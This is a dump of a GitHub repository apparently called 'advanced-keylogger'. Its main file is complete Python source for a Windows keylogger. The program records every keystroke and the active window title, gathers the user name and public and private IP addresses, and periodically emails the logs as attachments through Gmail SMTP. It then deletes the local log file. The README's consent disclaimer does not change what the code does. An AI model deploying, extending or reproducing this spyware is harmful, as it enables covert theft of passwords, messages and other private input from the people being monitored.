├── 001.png ├── LICENSE ├── README.md ├── config.py ├── keylogger.py └── requirements.txt /001.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codassassin/advanced-keylogger/3e84435f3b277a02bb78b34765a7a581ae8f999d/001.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Souvik Chatterjee 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # advanced-keylogger 2 | This is an advanced keylogger which sends keylog reports every 30 minutes to the specified email on the config file. 3 | 4 | ## Result image 5 | * This is a sample keylog result sent to the specified email. 6 | 7 | 8 | ### Disclaimer !! 9 | 10 | > This tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for 11 | > illegal purposes! It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no 12 | > liability and are not responsible for any misuse or damage caused by this tool and software in general. 13 | -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | # Change the configurations to your own 2 | 3 | fromAddr = 'your email address' 4 | fromPswd = 'your password' 5 | -------------------------------------------------------------------------------- /keylogger.py: -------------------------------------------------------------------------------- 1 | from pynput.keyboard import Key, Listener 2 | import win32gui 3 | import os 4 | import time 5 | import requests 6 | import socket 7 | import random 8 | import smtplib 9 | from email.mime.multipart import MIMEMultipart 10 | from email.mime.text import MIMEText 11 | from email.mime.base import MIMEBase 12 | from email import encoders 13 | import threading 14 | import config 15 | import datetime 16 | import sys 17 | 18 | 19 | class keylog: 20 | def __init__(self): 21 | self.dateTime = time.ctime(time.time()) 22 | self.timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H-%M-%S') 23 | self.user = os.path.expanduser('~').split('\\')[2] 24 | self.publicIP = requests.get('https://api.ipify.org').text 25 | self.privateIP = socket.gethostbyname(socket.gethostname()) 26 | 27 | self.msg = f'[START OF LOGS]\n > Date/Time: {self.dateTime}\n > User-Profile: {self.user}\n > Public-IP: {self.publicIP}\n > Private-IP: {self.privateIP}\n\n ' 28 | self.loggedData = [self.msg] 29 | 30 | self.oldApp = '' 31 | self.newApp = None 32 | self.deleteFile = [] 33 | 34 | self.one = os.path.expanduser('~') + '/Pictures/' 35 | self.two = os.path.expanduser('~') + '/Downloads/' 36 | 37 | self.fromAddr = config.fromAddr 38 | self.fromPswd = config.fromPswd 39 | self.toAddr = self.fromAddr 40 | 41 | def onPress(self, key): 42 | try: 43 | self.newApp = win32gui.GetWindowText(win32gui.GetForegroundWindow()) 44 | 45 | if self.newApp == 'Cortana': 46 | self.newApp = 'Windows Start Menu' 47 | else: 48 | pass 49 | 50 | if self.newApp != self.oldApp and self.newApp != '': 51 | self.loggedData.append(f'[{self.dateTime}] ~ {self.newApp}\n') 52 | self.oldApp = self.newApp 53 | else: 54 | pass 55 | 56 | substitution = { 57 | 'Key.enter': '[ENTER]\n', 58 | 'Key.backspace': '[BACKSPACE]', 59 | 'Key.space': ' ', 60 | 'Key.alt_l': '[ALT]', 61 | 'Key.tab': '[TAB]', 62 | 'Key.delete': '[DEL]', 63 | 'Key.ctrl_l': '[CTRL]', 64 | 'Key.left': '[LEFT ARROW]', 65 | 'Key.right': '[RIGHT ARROW]', 66 | 'Key.shift': '[SHIFT]', 67 | '\\x13': '[CTRL+S]', 68 | '\\x17': '[CTRL+W]', 69 | 'Key.caps_lock': '[CAPS LK]', 70 | '\\x01': '[CTRL+A]', 71 | 'Key.cmd': '[WINDOWS KEY]', 72 | 'Key.print_screen': '[PRT SCR]', 73 | '\\x03': '[CTRL+C]', 74 | '\\x16': '[CTRL+V]' 75 | } 76 | 77 | key = str(key).strip('\'') 78 | if key in substitution: 79 | self.loggedData.append(substitution[key]) 80 | else: 81 | self.loggedData.append(key) 82 | 83 | except Exception as e: 84 | print(f'[-] ERROR: {e}') 85 | sys.exit(0) 86 | 87 | def writeFile(self, count): 88 | try: 89 | pathList = [self.one] 90 | 91 | filePath = random.choice(pathList) 92 | fileName = f'{str(count)}I{str(self.timestamp)}.txt' 93 | file = filePath + fileName 94 | print(file) 95 | self.deleteFile.append(file) 96 | 97 | with open(file, 'w') as fp: 98 | fp.write(''.join(self.loggedData)) 99 | print('[+] WRITTEN ALL DATA') 100 | 101 | except Exception as e: 102 | print(f'[-] ERROR WRITING TO FILE: {e}') 103 | sys.exit(0) 104 | 105 | def sendLogs(self): 106 | count = 0 107 | time.sleep(600) 108 | while True: 109 | if len(self.loggedData) > 1: 110 | try: 111 | self.writeFile(count) 112 | 113 | subject = f'[{self.user}] ~ {count}' 114 | 115 | msg = MIMEMultipart() 116 | msg['From'] = self.fromAddr 117 | msg['To'] = self.toAddr 118 | msg['Subject'] = subject 119 | body = f'Keylog report of {self.user}' 120 | msg.attach(MIMEText(body, 'plain')) 121 | 122 | attachment = open(self.deleteFile[0], 'rb') 123 | print('[+] ATTACHMENT') 124 | 125 | fileName = self.deleteFile[0].split('/')[2] 126 | 127 | part = MIMEBase('application', 'octect-stream') 128 | part.set_payload(attachment.read()) 129 | encoders.encode_base64(part) 130 | part.add_header('content-disposition', 'attachment;fileName=' + str(fileName)) 131 | msg.attach(part) 132 | 133 | text = msg.as_string() 134 | print('[+] TEST msg.as_string') 135 | 136 | s = smtplib.SMTP('smtp.gmail.com', 587) 137 | s.ehlo() 138 | s.starttls() 139 | print('[+] STARTTLS') 140 | s.ehlo() 141 | s.login(self.fromAddr, self.fromPswd) 142 | s.sendmail(self.fromAddr, self.toAddr, text) 143 | print('[+] SENT MAIL') 144 | attachment.close() 145 | s.close() 146 | 147 | os.remove(self.deleteFile[0]) 148 | del self.loggedData[1:] 149 | del self.deleteFile[0:] 150 | print('[+] DELETED DATA/FILES') 151 | count += 1 152 | 153 | except Exception as e: 154 | print(f'[-] ERROR SENDING FILES: {e}') 155 | sys.exit(0) 156 | 157 | 158 | if __name__ == '__main__': 159 | k = keylog() 160 | T1 = threading.Thread(target=k.sendLogs) 161 | T1.start() 162 | 163 | with Listener(on_press=k.onPress) as listener: 164 | listener.join() 165 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests~=2.24.0 2 | pynput~=1.7.1 --------------------------------------------------------------------------------